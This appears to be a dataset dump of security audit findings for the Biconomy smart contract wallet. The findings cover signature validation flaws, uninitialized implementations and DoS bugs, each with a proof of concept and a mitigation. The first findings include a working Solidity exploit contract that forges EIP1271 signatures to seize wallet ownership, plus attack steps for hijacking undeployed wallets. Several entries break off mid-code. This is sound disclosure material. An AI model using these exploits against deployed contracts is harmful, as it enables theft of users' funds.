xanoutas/solidity-security-findings huggingface dataset:
Missing EIP1271 _signer validation
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343


# Vulnerability details

## Impact
SmartAccount.execTransaction allows the execution of a transaction signed by the owner. If the owner is an EOA this is done with normal signature. If the owner is a (multisig) contract, it uses the EIP1271 signature validation method. This is done in the checkSignatures function.

The checkSignatures implementation lacks the check that the contract approving the EIP1271 isValidSignature call is indeed the wallet owner. This allows any contract to approve the signature and allow any transaction to be processed by the contract. This is basically giving complete control of the wallet and its assets.

The contract that is used to return isValidSignature comes from user supplied data and can be set to any contract.
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317
If that contract's isValidSignature returns EIP1271_MAGIC_VALUE the transaction is approved.
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342

## Proof of Concept
For a proof of concept, I have created a simple solidity contract to demonstrate the vulnerability.
Though any contract call can be made, I have chosen use setOwner to change the owner of the wallet because this is simple to verify. 

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.12;

    import './smart-contract-wallet/SmartAccount.sol';
    import "./smart-contract-wallet/BaseSmartAccount.sol";

    contract Exploit {
        function isValidSignature( bytes calldata , bytes calldata ) external pure returns (bytes4 magicValue) {
            // always return magicValue, approve all signatures 
            return 0x20c13b0b;
        }

        function setSmartAccountOwner(SmartAccount smartAccountProxy,address newOwner) external {
            FeeRefund memory refundInfo;
            Transaction memory _tx;
            _tx.to = address(smartAccountProxy);
            _tx.data =  abi.encodeWithSignature("setOwner(address)", address(newOwner));

            // create fake/dummy signature
            bytes memory signatures;
            bytes32 r = bytes32(uint256(uint160(address(this))));
            uint256 sixtyfive = 65;
            bytes32 s = bytes32(sixtyfive);
            uint8 v = 0; // contract signature
            signatures = abi.encode(r,s,v,s); // add extra s as dummy data to pass length check

            // fake signature accepted and setOwner processed
            smartAccountProxy.execTransaction(_tx, 0, refundInfo, signatures);
        } 
    }

I have added the exploit to the proxy-deploy.ts test:  
    diff --git a/scw-contracts/test/smart-wallet/proxy-deploy.ts b/
Attackers can control any smart contract wallet by deploying it
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166-L176
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53


# Vulnerability details

## Impact
Any SCW(smart contract wallet) can be hacked by deploying it (or front-running deployment), the hacker will be able to become the owner and have complete control over it.
All funds in all undeployed SCWs can be stolen.

## Proof of Concept
When deploying an SCW through [deployCounterFactualWallet](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33) or [deployWallet](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53), the deployer (msg.sender) can provide any address as its entrypoint.

If an attacker deploys someone else's SCW using a malicious contract as the entrypoint, he will be able to control the SCW completely through that malicious entrypoint (e.g. take the ownership of the SCW).

For example, an attacker (address X) wants to steal an SCW (address scw) which should have been belonged to a victim (address V) after deployment:
1. X calls [`deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index)`](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33) with parameters: `owner = V`, `_entryPoint = X`.
  > This tx will deploy the SCW(proxy) with owner V and fake entrypoint X.
2. X calls [`execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit)`](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L489) to the deployed SCW (proxy) with parameters: `dest = scw`, `func = setOwner(X)`.
  > This tx will change the owner of the scw from V to X.

Test code for PoC (use a customized attack contract - Hack.sol to perform the attack):
```
diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
new file mode 100644
index 0000000..be25fc2
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+import "../common/Enum.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+interface ISmartAccountFa
UserOperation's signature lacks important dependencies such as chainId and EntryPoint address besides missing data integrity check
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L506-L513
https://github.com/code-423n4/2023-01-biconomy/blob/init-contracts-audit-scope/scw-contracts/contracts/smart-contract-wallet/BaseSmartAccount.sol#L60-L68


# Vulnerability details

## Impact
The UserOperation's signature doesn't depend on chainId and EntryPoint address which makes both cross-chain and multiple-EntryPoint replay attacks possible. This means:
1. A UserOperation can be replayed on a different chain for the same EntryPoint.
2. A UserOperation can be replayed with a different EntryPoint on the same chain.

Morever, data integrity check is missing as `_validateSignature` function checks if the signature is valid for the passed userOpHash but never checks if the userOpHash passed is valid for the userOp passed. If the caller passes an invalid userOp and a valid userOpHash with a valid signature, then the function will still return true which is incorrect.

Note: This is also applicable on validatePaymasterUserOp  in **VerifyingSingletonPaymaster**

## Proof of Concept

- Check `_validateSignature` function in **SmartAccount** contract.

- Check EIP-2171 specs:
> To prevent replay attacks (both cross-chain and multiple EntryPoint implementations), the signature should depend on chainid and the EntryPoint address

https://eips.ethereum.org/EIPS/eip-4337#specification



## Tools Used
Manual analysis

## Recommended Mitigation Steps

1. Add chainid and the EntryPoint address as dependencies for the signature. 
2. Hash the userOp and compare the result with the passed userOpHash

For example,
```sh

bytes32 calculatedUserOpHash = calcUserOpHash(userOp); // assuming calcDataHash calculates the hash of passed userOp considering chainId and EntryPoint address.
require(calculatedUserOpHash == userOpHash, "Invalid userOpHash");
```
Uninitialized implementation contract (SmartAccount) can be taken over by an attacker
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L18-L551


# Vulnerability details

## Impact
Functions from the logic contract (SmartAccount) shouldn't be called directly. a bad actor can take the ownership by calling **init** directly then destroy it making all proxies (Smart Contract Wallets) pointing to a non-existing contract.

One could argue that Biconomy's admin can call init after deploying it. However, there is still a risk of front-runing it.


## Proof of Concept

1. **SmartAccount** is left uninitialized. there is no code that's initializing it nor disabling initializing it. 
2. The attacker initializes it to gets the ownership.
3. Since **SmartAccount** can delegate calls, the attacker can delegate a call to a malcious contract calling **selfdestruct** which results in destroying **SmartAccount**.

  

## Tools Used
Manual analysis

## Recommended Mitigation Steps

As per openzeppelin's doc:

> To prevent the implementation contract from being used, you should invoke the _disableInitializers function in the constructor to automatically lock it when it is deployed
```sh
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
    _disableInitializers();
}
```

https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializing_the_implementation_contract
Incorrect implementation of EIP1271 causes invalid contract signature always
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/interfaces/ISignatureValidator.sol#L4-L20
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342


# Vulnerability details

## Impact
1. The **EIP1271_MAGIC_VALUE** is incorrect. it has **0x20c13b0b** which is different than what EIP-2171 specified **0x1626ba7e**. It results in wrong contract signature always when validating.
2. **isValidSignature** should have hashData (bytes32) parameter and not data (bytes). Therefore, the hashData should be passed instead of data (in checkSignatures function) . This also results in wrong contract signature always since the signer contract expects dataHash and not the data its self.

## Proof of Concept
Check:
- The EIP-2171 specs
https://eips.ethereum.org/EIPS/eip-1271#specification

- Line **342** in **SmartAccount**
```sh
require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
```
- Line **19** in **ISignatureValidator** 
```sh
    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4);
```


## Tools Used
Manual analysis

## Recommended Mitigation Steps

1. Change the implementation of **ISignatureValidator** to adhere to EIP-1271 specs.
2. In **SmartAccount**'s checkSignatures function, pass the dataHash instead of data.
Non upgradeable version being used
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/721e2afb493d8bc0bc9488b84eaf2deb14c8b43f/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L27
https://github.com/code-423n4/2023-01-biconomy/blob/7b02ebfcebbf79e6df65ee30efa347cffd28ebcd/scw-contracts/contracts/smart-contract-wallet/aa-4337/samples/SimpleAccount.sol#L9


# Vulnerability details

### Impact
Based on the context and comments in the code, the `SimpleAccount.sol` and `SmartAccount.sol` contract is designed to be deployed as an upgradeable proxy contract.

However, the current implementation is using an non-upgradeable version of the `Initializable` library: `@openzeppelin/contracts/proxy/utils/Initializable.sol` instead of the upgradeable version: `@openzeppelin/contracts-upgradeable/contracts/proxy/utils/Initializable.sol`


### Code
https://github.com/code-423n4/2023-01-biconomy/blob/721e2afb493d8bc0bc9488b84eaf2deb14c8b43f/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L27
https://github.com/code-423n4/2023-01-biconomy/blob/7b02ebfcebbf79e6df65ee30efa347cffd28ebcd/scw-contracts/contracts/smart-contract-wallet/aa-4337/samples/SimpleAccount.sol#L9

### Mitigation
Use the upgradeable version
Wrong decoding of paymaster data makes validatePaymasterUserOp always fail, DoS
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L102


# Vulnerability details

## Impact
DoS of validatePaymasterUserOp makes UserOperation's with paymaster not executable

## Proof of Concept
`. decodePaymasterData` on [line 102 in VerifyingSingletonPaymaster.validatePaymasterUserOp](https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L102) returns wrong data and makes function always fail due to the following checks. This means that UserOperation with paymaster are not executable as will always fail validation from the paymaster.

The problem is that `.decodePaymasterData` in [PaymasterHelpers.sol on line 36](https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/PaymasterHelpers.sol#L36) cuts the first 20 byte from the paymasterAndData where the paymasterId is actually located and returns wrong values for (address paymasterId, bytes memory signature) 

## Tools Used
Manual review

## Recommended Mitigation Steps
Fix decoding in PaymasterHelpers.decodePaymasterData

```
-       (address paymasterId, bytes memory signature) = abi.decode(paymasterAndData[20:], (address, bytes));
+       (address paymasterId, bytes memory signature) = abi.decode(paymasterAndData, (address, bytes));

```
validateUserOp does not check if missingAccountFunds matchs the signature 
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/BaseSmartAccount.sol#L60-L68


# Vulnerability details

validateUserOp  function does not check to see if missingAccountFunds uint256 matchs the signature or not . this can be abused if an attacker front run the tx and call validateUserOp   in entrypoint using same sig but with a different missingaccountfunds number
which can make the call in user's side revert
however no missing funds will accure here but this one will put a lot of problem for EOA users and many 3rd parties that are trying to interact with their accounts using this contract . 
if a user wants to pay whole the missingAccountFunds in one tx front running the function with less missingAccountFunds will  cause the next one to underflow / overflow and revert 
which will force users to do it again and again and can be so gas and time consuming
Unsafe Storage Layout
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L247-L269


# Vulnerability details

Potentially lead to storage collision and cause the account to be re-initialized or have ownership transferred. Use upgradeable DiamondStorage for all inherited contracts.
Bypass SmartAccount `handlePayment`
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L247-L269


# Vulnerability details

Payment can be small/zero due to rounding down if `tokenGasPriceFactor` is sufficiently large and function won't revert on zero transfer. Validate tokenGasPriceFactor.
Bypass `depositFor` Contract Check
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L49


# Vulnerability details

Validation will pass for a contract in construction; an address where a contract will be created; an address where a contract lived, but was destroyed.
Lack of Zero Address Signer Validation
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L349-L352


# Vulnerability details

Signer should be checked to not equal the zero address otherwise an invalid signature could pass validation.
Proxy creation isn't check in `deployWallet` function of `SmartAccountFactory` contract
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53-L61


# Vulnerability details

The `deployWallet` function present in the `SmartAccountFactory` contract deploys a new wallet by creating a Proxy that points to a base implementation using assembly.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53-L61

```solidity
function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){ 
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData))
    }
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
}
```

The call to create may fail, in which case the result of proxy will be 0. Citing [evm.codes](https://www.evm.codes/) from `CREATE` opcode section:

> Stack output  
> address: the address of the deployed contract, 0 if the deployment failed.

Since the result value of the create call isn't checked, the proxy creation can silently fail while the `deployWallet` function still succeeds.

## Impact

If the call to create fails, then the wallet (the Proxy itself) won't exist while the enclosing call to `deployWallet` will be successful.

Note that the call to `init` in line 59 will succeed too, since the `address(0)` has no code. Citing again [evm.codes](https://www.evm.codes/) from the `CALL` opcode section:

> Creates a new sub context and execute the code of the given account, then resumes the current one. Note that an account with no code will return success as true.

This means that the call to `deployWallet` will succeed and return the `address(0)` as the wallet's address. This will potentially cause loss of funds, as the user or any other integration may inadvertently send funds to this address.

## PoC

1. User calls `SmartAccountFactory.deployWallet` with valid parameters
2. Call to `create` on line 57 fails and returns 0.
3. Call to `init` on 59 still succeeds as the `address(0)` has no code.
4. Function terminates correctly, and returns `address(0)` as the result.

## Recommendation

Add a check to verify that the call to create succeeded (`proxy != address(0)`).

```solidity
function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){ 
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData))
    }
    require(proxy != address(0), "Create call failed");
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
_validateSignature should not revert on invalid signature (EIP-4337)
Audit: 2023-01-biconomy-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L511


# Vulnerability details

## Impact
Results in unexpected behavior in the EntryPoint contract.

## Proof of Concept
As said in the official specification of [EIP-4337](https://eips.ethereum.org/EIPS/eip-4337): "If the account does not support signature aggregation, it MUST validate the signature is a valid signature of the userOpHash, and SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch. Any other error should revert.". [SmartAccount._validateSignature](https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L511) does the opposite and reverts if the signature is invalid which will be wrong interpret by the EntryPoint contract.

## Tools Used
Manual review

## Recommended Mitigation Steps
Return SIG_VALIDATION_FAILED instead of revert in SmartAccount._validateSignature:

```
    function _validateSignature(UserOperation calldata userOp, bytes32 userOpHash, address)
    internal override virtual returns (uint256 deadline) {
        bytes32 hash = userOpHash.toEthSignedMessageHash();
        //ignore signature mismatch of from==ZERO_ADDRESS (for eth_callUserOp validation purposes)
        // solhint-disable-next-line avoid-tx-origin
-       require(owner == hash.recover(userOp.signature) || tx.origin == address(0), "account: wrong signature");
+       if(owner != hash.recover(userOp.signature) && tx.origin != address(0)) return SIG_VALIDATION_FAILED;
        return 0;
    }
```